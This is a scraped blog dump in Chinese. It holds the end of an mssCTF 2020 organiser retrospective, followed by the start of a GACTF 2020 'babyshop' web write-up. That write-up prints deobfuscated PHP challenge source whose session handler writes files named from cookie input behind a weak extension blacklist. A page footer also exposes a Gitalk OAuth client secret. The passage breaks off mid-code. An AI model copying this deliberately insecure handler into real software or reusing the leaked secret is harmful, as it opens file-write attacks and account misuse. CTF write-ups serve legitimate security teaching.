id=\"Web\"\u003eWeb\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eWeb题是被骂惨了,出题人上头了,审题人也上头了。\u003cbr/\u003e出题时应当充分考虑做题对象的水平,才能在比赛的同时达到提高水平的效果。像这次的题目,虽然我们自己已经习以为常,但是冷静思考,很多知识点如果要充分理解,需要对底层原理(python、PHP)有相当深入的了解。对于中学生而言,这是很不现实的。\u003c/p\u003e\u003cp\u003e还有一点可以改进的地方是出题前运维应当与出题人沟通好日志如何收集,并在审题阶段对日志收集功能进行测试。今年由于时间匆忙没有仔细地审题,出了各种问题。\u003c/p\u003e\u003ch3 id=\"Pwn\"\u003ePwn\u003c/h3\u003e\u003ch3 id=\"Reverse\"\u003eReverse\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛逆向题目放出了三道, 有两道题目是我出的, 考点分别是指令虚拟化和全排列, 难度中等, 没爆0. 复赛题目放出了四道, 上午Java逆向和花指令, Java逆向是一个六元一次方程组求解, 两解; flower直接爆0了. 下午本来准备上happy出的一道vm, 但是上午看了看解题情况, 吓得不敢放了, 于是临时出了一个签到题, F5就能看见flag 的那种. 加上一道换表base64解密, 下午成功没有爆0. 有一说一题目质量出的有点低了… 没把握好选手的整体水平, 最后导致题目难度极不合理.\u003c/p\u003e\u003ch3 id=\"PPC\"\u003ePPC\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003ecdcq\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e出现的问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e检查用的时间不够,没有查常规项(例如数据范围,典型的常规项),不能因为题简单就不查\u003c/li\u003e\u003cli\u003e最后没有总测数据,结果导致std改了,但是样例忘了改\u003c/li\u003e\u003cli\u003e没有强调\u003cstrong\u003e行末\u003c/strong\u003e(而不是\u003cstrong\u003e文末\u003c/strong\u003e)空格。这个应当在评测插件中新增一个Presentation Error进行提示\u003c/li\u003e\u003cli\u003e使用多组数据。多组数据输入对出题人来说很方便,但是对OI选手来说,不习惯多组数据,会导致很多人忘记初始化,从而卡在非核心考察点上,降低比赛体验\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/09/20/Dev/mssCTF%202020/"},{"title":"GACTF 2020 Web 部分题目 Writeup","time":"2020-08-31T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"babyshop\"\u003ebabyshop\u003c/h2\u003e\u003cp\u003e上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。\u003cbr/\u003e这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?\u003c/p\u003e\u003cp\u003e简单浏览以后通过经验可以判断出,整个\u003ccode\u003einit.php\u003c/code\u003e大体分为两部分,\u003ccode\u003e造化之神\u003c/code\u003e用于混淆字符串常量,而\u003ccode\u003e造化\u003c/code\u003e函数则用于获取原字符串,是很常用的字符串常量混淆手段。再加上php的字符串可以作为函数调用,函数名也可以利用这种方式进行混淆。比如\u003ccode\u003e造化(\u0026#34;拢监纪浑诊余仍逃抹哀天夫\u0026#34;)\u003c/code\u003e实际上就是\u003ccode\u003estripos\u003c/code\u003e\u003cbr/\u003e于是我们可以写一个简单的小脚本进行字符串恢复,抛弃\u003ccode\u003e造化\u003c/code\u003e部分。脚本由于没有复用价值,就不放在这了。\u003ccode\u003e测\u003c/code\u003e,\u003ccode\u003e获\u003c/code\u003e,\u003ccode\u003e赋\u003c/code\u003e等工具函数也可以通过简单的正则匹配进行替换。\u003c/p\u003e\u003cp\u003e最终我们可以恢复出混淆前的代码:\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 题目源码 \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eini_set(\u003cspan class=\"string\"\u003e\u0026#39;display_errors\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;Off\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e 造齿轮\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $朝拜圣地;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $贡品;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $圣殿;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $禁地;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 = \u003cspan class=\"string\"\u003e\u0026#39;storage\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_dir(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地)) mkdir(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;php\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;html\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;htaccess\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 挖掘(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (stripos(\u003cspan class=\"variable\"\u003e$_COOKIE\u003c/span\u003e[$食物], $元素) !== \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;invaild \u0026#39;\u003c/span\u003e . $食物);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿 = session_id();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 种植(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/sess_\u0026#39;\u003c/span\u003e . $货物, $食物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 收获(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/sess_\u0026#39;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 总结(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿) \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/note_\u0026#39;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿, $货物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 归纳(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/note_\u0026#39;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 思考(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (file_exists(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/sess_\u0026#39;\u003c/span\u003e . $货物)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e unlink(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/sess_\u0026#39;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 反省(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (glob(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#39;/*\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (filemtime($元素) + $货物 \u0026lt; time() \u0026amp;\u0026amp; file_exists($元素)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e unlink($元素);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 完毕(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;总结(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;归纳());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$齿轮 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e 造齿轮();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esession_set_save_handler(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;挖掘\u0026#39;\u003c/span\u003e), \u003cspan 